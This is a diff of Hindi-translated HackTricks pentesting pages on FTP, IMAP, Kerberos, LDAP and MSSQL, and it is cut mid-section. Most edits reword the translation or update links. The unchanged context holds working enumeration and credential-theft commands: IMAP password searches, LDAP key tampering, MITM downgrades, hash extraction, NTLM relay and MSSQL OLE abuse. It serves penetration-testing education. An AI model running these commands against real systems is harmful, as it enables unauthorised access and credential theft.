किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर किया जाए।](ftp-bounce-download-2oftp-file.md)
किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md)
## Filezilla सर्वर भेद्यता
@ -193,9 +193,9 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका।
- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें
- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता
- `chown_username=username` - उपयोगकर्ता जिसे गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है
- `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें
- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें
- `no_anon_password=YES` - गुमनाम से पासवर्ड के लिए न पूछें
- `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE
### Shodan
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -91,7 +91,7 @@ apt install evolution
### CURL
बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है इसलिए सटीक विवरण के लिए [source](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है।
बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ में विवरण की कमी है, इसलिए सटीक विवरण के लिए [source](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करने की सिफारिश की जाती है।
1. मेलबॉक्स की सूची बनाना (imap कमांड `LIST "" "*"`)
```bash
@ -101,9 +101,9 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
इस खोज का परिणाम संदेश संकेतकों की एक सूची है।
इस खोज का परिणाम संदेश अनुक्रमांक की एक सूची है।
जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
यह अधिक जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
मेल अनुक्रमणिका वही अनुक्रमणिका होगी जो खोज संचालन से लौटाई जाएगी।
संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए:
यह संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए:
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
@ -136,7 +136,7 @@ done
- `port:143 CAPABILITY`
- `port:993 CAPABILITY`
## HackTricks स्वचालित आदेश
## HackTricks Automatic Commands
```
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
Port_Number: 143,993 #Comma separated if there is more than one.
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -8,7 +8,7 @@
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं का विभाजन करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Default Port:** 88/tcp/udp
```
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -4,9 +4,9 @@
**LDAP** (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सरल दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों के बीच वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों में वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा बनाता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
**डिफ़ॉल्ट पोर्ट:** 389 और 636(ldaps)। ग्लोबल कैटलॉग (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर LDAPS के लिए उपलब्ध है।
```
@ -47,12 +47,12 @@ phone: 23627387495
```
- पंक्तियाँ 1-3 शीर्ष स्तर डोमेन local को परिभाषित करती हैं
- पंक्तियाँ 5-8 पहले स्तर डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं
- पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों को परिभाषित करती हैं: dev और sales
- पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों: dev और sales को परिभाषित करती हैं
- पंक्तियाँ 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और विशेषताओं को मानों के साथ असाइन करती हैं
## डेटा लिखें
ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप **अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं**। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो **ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है**। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं, तो आप **उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही पासवर्ड प्रमाणीकरण ssh में सक्षम न हो**।
ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप **अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं**। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो **ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है**। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं तो आप **उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही ssh में पासवर्ड प्रमाणीकरण सक्षम न हो**।
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -68,9 +68,9 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में **स्पष्ट पाठ में क्रेडेंशियल्स को स्निफ़** कर सकते हैं।
इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सके।
इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन करे।
**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड कर सकते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड करने में सक्षम होते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
## गुमनाम पहुंच
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Automated
इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे
इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे:
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True
>>> server.info
```
यदि प्रतिक्रिया `True` है जैसे पिछले उदाहरण में, तो आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
```bash
>>> server.info
DSA info (from DSE):
@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक प्रश्न पूछ सकते हैं। यह सरल प्रश्न आपको निर्देशिका में सभी वस्तुओं को दिखान चाहिए:
एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी वस्तुओं को दिखान चाहिए:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@ -145,7 +145,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो **Windows** डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों क**enumerate** करने के लिए LDAP क्वेरी का उपयोग करती है।
[**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो **Windows** डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों क**सूची बनाने** के लिए LDAP क्वेरी का उपयोग करती है।
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -184,7 +184,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
उपयोगकर्ताओं को निकालें:
**उपयोगकर्ता**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
@ -201,7 +201,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**डोमेन उपयोगकर्ता**:
**डोमेन उपयोगकर्ता निकालें**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -274,7 +274,7 @@ done
### Apache Directory
[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस टूल का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)।
[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)।
### jxplorer
@ -286,7 +286,7 @@ done
### Godap
Godap एक इंटरैक्टिव टर्मिनल उपयोगकर्ता इंटरफेस है जो LDAP के लिए है, जिसका उपयोग AD और अन्य LDAP सर्वरों में वस्तुओं और विशेषताओं के साथ बातचीत करने के लिए किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और इसमें सरल बाइंड्स, पास-दी-हैश, पास-दी-टिकट और पास-दी-प्रमाणपत्र के साथ-साथ खोजने/बनाने/बदलने/हटाने की वस्तुओं, समूहों से उपयोगकर्ताओं को जोड़ने/हटाने, पासवर्ड बदलने, वस्तु अनुमतियों (DACLs) को संपादित करने, Active-Directory Integrated DNS (ADIDNS) को संशोधित करने, JSON फ़ाइलों में निर्यात करने आदि जैसी कई अन्य विशेष सुविधाएँ शामिल हैं
Godap एक इंटरैक्टिव टर्मिनल उपयोगकर्ता इंटरफेस है जो LDAP के लिए है, जिसका उपयोग AD और अन्य LDAP सर्वरों में वस्तुओं और विशेषताओं के साथ बातचीत करने के लिए किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और इसमें सरल बाइंड्स, पास-थ-हैश, पास-थ-टिकट और पास-थ-प्रमाणपत्र जैसे कई अन्य विशेष सुविधाओं के साथ-साथ वस्तुओं को खोजने/बनाने/बदलने/हटाने, समूहों से उपयोगकर्ताओं को जोड़ने/हटाने, पासवर्ड बदलने, वस्तु अनुमतियों (DACLs) को संपादित करने, Active-Directory Integrated DNS (ADIDNS) को संशोधित करने, JSON फ़ाइलों में निर्यात करने आदि का समर्थन करता है
![](../images/godap.png)
@ -294,7 +294,7 @@ Godap एक इंटरैक्टिव टर्मिनल उपयो
### Ldapx
Ldapx एक लचीला LDAP प्रॉक्सी है जिसका उपयोग अन्य टूल से LDAP ट्रैफ़िक की जांच और रूपांतरित करने के लिए किया जा सकता है। इसका उपयोग पहचान सुरक्षा और LDAP निगरानी उपकरणों को बायपास करने के प्रयास में LDAP ट्रैफ़िक को अस्पष्ट करने के लिए किया जा सकता है और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) वार्ता में प्रस्तुत अधिकांश विधियों को लागू करता है।
Ldapx एक लचीला LDAP प्रॉक्सी है जिसका उपयोग अन्य उपकरणों से LDAP ट्रैफ़िक की जांच और रूपांतरित करने के लिए किया जा सकता है। इसका उपयोग पहचान सुरक्षा और LDAP निगरानी उपकरणों को बायपास करने के प्रयास में LDAP ट्रैफ़िक को अस्पष्ट करने के लिए किया जा सकता है और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) वार्ता में प्रस्तुत अधिकांश विधियों को लागू करता है।
![](../images/ldapx.png)
@ -302,15 +302,15 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
## kerberos के माध्यम से प्रमाणीकरण
`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos के खिलाफ** **प्रमाणीकृत** कर सकते हैं, पैरामीटर `-Y GSSAPI` का उपयोग करे।
`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ **प्रमाणित** कर सकते हैं, इसके लिए पैरामीटर `-Y GSSAPI` का उपयोग करे
## POST
यदि आप उन फ़ाइलों तक पहुँच सकते हैं जहाँ डेटाबेस स्थित हैं (यह _/var/lib/ldap_ में हो सकता है)। आप हैश को निकालने के लिए उपयोग कर सकते हैं:
यदि आप उन फ़ाइलों तक पहुँच सकते हैं जहाँ डेटाबेस स्थित हैं (यह _/var/lib/ldap_ में हो सकता है)। आप हैश निकालने के लिए उपयोग कर सकते हैं:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक 'structural' जोड़े बिना) दे सकते हैं।
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक बिना 'structural' जोड़े) दे सकते हैं।
### कॉन्फ़िगरेशन फ़ाइलें
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।
> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किए जाने पर उसे पुनः प्राप्त करना है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं
**डिफ़ॉल्ट पोर्ट:** 1433
```
@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
- **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
- **Resource Database**: एक केवल-पढ़ने वाला डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **Resource Database**: एक केवल-पढ़ने योग्य डेटाबेस जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
## Enumeration
@ -32,7 +32,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
> [!NOTE]
> यदि आपके पास **क्रेडेंशियल्स** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं।
#### Metasploit (क्रेड्स की आवश्यकता)
#### Metasploit (क्रेडेंशियल्स की आवश्यकता)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### सामान्य सूचीकरण
#### सामान्य एन्यूमरेशन
```sql
# Get version
select @@version;
@ -156,13 +156,13 @@ SELECT * FROM sysusers
#### अनुमतियाँ प्राप्त करें
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
- **Server** उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
- **Database** उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
- **Schema** इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
- **Server Level** लॉगिन का उपयोग करके
- **Database Level** उपयोगकर्ताओं का उपयोग करके
3. **Principal:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
- **सर्वर** उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
- **डेटाबेस** उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
- **स्कीमा** इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
- **सर्वर स्तर** लॉगिन का उपयोग करके
- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करके
3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> ```
**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं:
आप देख सकते हैं कि इन उपकरणों का उपयोग कैसे करें:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
```
### **फाइल पढ़ें** OPENROWSET के साथ
